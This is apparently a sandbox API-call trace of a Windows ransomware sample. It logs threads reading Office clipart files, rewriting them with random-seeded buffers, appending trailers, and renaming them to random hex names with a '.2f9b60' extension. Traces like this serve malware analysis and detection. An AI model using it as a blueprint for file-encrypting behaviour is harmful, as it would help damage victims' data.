[0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x1786019b [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x2a2008ef [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x657710c9 [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x553c4f0c [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x1586c4b0 [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x1e9e31d7 [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x45315a35 [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x7854c28e [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x6fed5a6f [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x2384264e [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x27896086 [0149.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aafe0 [0149.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0149.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aad40 [0149.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0149.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0149.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0149.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c4c1b0 [0149.262] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.262] ReadFile (in: hFile=0x1ad0, lpBuffer=0x41c4c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2364fb20, lpOverlapped=0x0 | out: lpBuffer=0x41c4c1b0*, lpNumberOfBytesRead=0x2364fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0149.270] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0149.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0149.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0149.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0149.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c40d80 [0149.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0149.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0149.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0149.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0149.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0149.272] WriteFile (hFile=0x1ad0, lpBuffer=0x41c40d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2364fb20, lpOverlapped=0x0) [0186.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c40d80) returned 1 [0186.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c4c1b0) returned 1 [0186.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9d40 [0186.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0186.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6b20 [0186.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9d70 [0186.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9d70) returned 1 [0186.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9d70 [0186.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9da0 [0186.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9dd0 [0186.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9dd0) returned 1 [0186.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6b20) returned 1 [0186.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0186.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x431014a0 [0186.501] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.501] WriteFile (in: hFile=0x1ad0, lpBuffer=0x431014a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2364fbd0, lpOverlapped=0x0 | out: lpBuffer=0x431014a0*, lpNumberOfBytesWritten=0x2364fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0207.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac11f0 [0207.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac11f0) returned 1 [0207.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac11f0 [0207.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac11c0 [0207.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac11c0) returned 1 [0207.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.216] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="75") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="a4") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="88") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="38") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="02") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="48") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="46") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="27") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="69") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="6d") returned 2 [0207.216] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="c3") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="5e") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="b2") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="84") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="5e") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="fe") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="ac") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="02") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="d8") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="c4") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="b3") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="c2") returned 2 [0207.217] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="c7") returned 2 [0207.217] RtlInitAnsiString (in: DestinationString=0x2364fc48, SourceString="75a4883802484627696dc35eb2845e1dfeac02d8c4b3c2c7" | out: DestinationString="75a4883802484627696dc35eb2845e1dfeac02d8c4b3c2c7") [0207.217] RtlAnsiStringToUnicodeString (in: DestinationString=0x2364fc18, SourceString="75a4883802484627696dc35eb2845e1dfeac02d8c4b3c2c7", AllocateDestinationString=1 | out: DestinationString="75a4883802484627696dc35eb2845e1dfeac02d8c4b3c2c7") returned 0x0 [0207.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8b80 [0207.217] wcscat (in: _Dest=0x431c7620, _Source="75a488380248" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75a488380248") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75a488380248" [0207.217] wcscat (in: _Dest=0x431c7620, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75a488380248.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75a488380248.2f9b60" [0207.217] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75a488380248.2f9b60", NtPathName=0x2364fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75a488380248.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43129560 Thread: id = 2322 os_tid = 0x1cac [0149.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0149.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF", dwFileAttributes=0x20) returned 1 [0149.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cdc [0149.268] GetFileSizeEx (in: hFile=0x1cdc, lpFileSize=0x1f0dfc80 | out: lpFileSize=0x1f0dfc80*=7828) returned 1 [0149.269] SetFilePointerEx (in: hFile=0x1cdc, liDistanceToMove=0x1e90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.269] ReadFile (in: hFile=0x1cdc, lpBuffer=0x1f0dfc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f0dfc48, lpOverlapped=0x0 | out: lpBuffer=0x1f0dfc00*, lpNumberOfBytesRead=0x1f0dfc48*=0x4, lpOverlapped=0x0) returned 1 [0149.272] SetFilePointerEx (in: hFile=0x1cdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0149.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abf40 [0149.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab160 [0149.272] NtQuerySystemTime (in: CurrentTime=0x1f0dfb40 | out: CurrentTime=0x1f0dfb40*=132462177544786000) returned 0x0 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x5183981f [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x215092f5 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x4ea5f52d [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x1a408d16 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x30954f1 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x6ab14360 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x557535b0 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x1c270e0 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x494720bd [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x5ed2ab3f [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x6ce0ded4 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x79ea7d0f [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x313e3489 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x15f3dd73 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x12fe3861 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x13c21897 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x97ca643 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x6d1eb65c [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x55d31c2b [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x26ec11b5 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x786f808c [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x1a7234a [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x660da5fe [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x6037066 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x1eed96cb [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x1c5a4523 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0xcf4c6d4 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x772804b1 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x27071235 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x214fa3e6 [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x65164b2b [0149.273] RtlRandomEx (in: Seed=0x1f0dfb30 | out: Seed=0x1f0dfb30) returned 0x3dab62ee [0149.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab2e0 [0149.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0149.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0149.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0149.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab160) returned 1 [0149.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0149.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0149.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0149.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0149.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0149.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e26910 [0149.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e35950 [0149.283] ReadFile (in: hFile=0x1cdc, lpBuffer=0x41e26910, nNumberOfBytesToRead=0x1e94, lpNumberOfBytesRead=0x1f0dfb30, lpOverlapped=0x0 | out: lpBuffer=0x41e26910*, lpNumberOfBytesRead=0x1f0dfb30*=0x1e94, lpOverlapped=0x0) returned 1 [0149.284] SetFilePointerEx (in: hFile=0x1cdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.284] WriteFile (in: hFile=0x1cdc, lpBuffer=0x41e35950*, nNumberOfBytesToWrite=0x1e94, lpNumberOfBytesWritten=0x1f0dfb34, lpOverlapped=0x0 | out: lpBuffer=0x41e35950*, lpNumberOfBytesWritten=0x1f0dfb34*=0x1e94, lpOverlapped=0x0) returned 1 [0161.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4c70 [0161.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4ca0 [0161.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4ca0) returned 1 [0161.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e35950) returned 1 [0161.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e26910) returned 1 [0161.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0161.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0161.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4ca0 [0161.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0161.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0161.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4cd0 [0161.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4cd0) returned 1 [0161.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4cd0 [0161.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4d00 [0161.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4d30 [0161.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4d30) returned 1 [0161.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0161.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0161.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab2b0 [0161.663] SetFilePointerEx (in: hFile=0x1cdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.663] WriteFile (in: hFile=0x1cdc, lpBuffer=0x423ab2b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f0dfc50, lpOverlapped=0x0 | out: lpBuffer=0x423ab2b0*, lpNumberOfBytesWritten=0x1f0dfc50*=0x10a, lpOverlapped=0x0) returned 1 [0163.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac13a0 [0163.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac13a0) returned 1 [0163.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac13a0 [0163.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1370 [0163.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1370) returned 1 [0163.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.428] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="06") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="31") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="9b") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="65") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="be") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="60") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="fc") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="26") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="23") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="ec") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="be") returned 2 [0163.428] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="ad") returned 2 [0163.429] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="59") returned 2 [0163.429] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="50") returned 2 [0163.429] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.429] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="15") returned 2 [0163.429] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="bb") returned 2 [0163.429] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="1d") returned 2 [0163.429] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="da") returned 2 [0163.429] RtlInitAnsiString (in: DestinationString=0x1f0dfcc8, SourceString="0631d89b65f25abe602afc2623ec8abead5950e415bb1dda" | out: DestinationString="0631d89b65f25abe602afc2623ec8abead5950e415bb1dda") [0163.429] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f0dfc98, SourceString="0631d89b65f25abe602afc2623ec8abead5950e415bb1dda", AllocateDestinationString=1 | out: DestinationString="0631d89b65f25abe602afc2623ec8abead5950e415bb1dda") returned 0x0 [0163.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8575d0 [0163.429] RtlFreeAnsiString (AnsiString="0") [0163.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac13a0) returned 1 [0163.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab2b0) returned 1 [0163.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4cd0) returned 1 [0163.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4d00) returned 1 [0163.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4ca0) returned 1 [0163.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4c70) returned 1 [0163.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abf40) returned 1 [0163.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab2e0) returned 1 [0163.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0163.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5cf0 [0163.432] wcscat (in: _Dest=0x1cdb5cf0, _Source="0631d89b65f2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0631d89b65f2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0631d89b65f2" [0163.433] wcscat (in: _Dest=0x1cdb5cf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0631d89b65f2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0631d89b65f2.2f9b60" [0163.433] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0631d89b65f2.2f9b60", NtPathName=0x1f0dfc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0631d89b65f2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce232e0 Thread: id = 2323 os_tid = 0x1cb0 [0149.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0149.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF", dwFileAttributes=0x20) returned 1 [0149.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 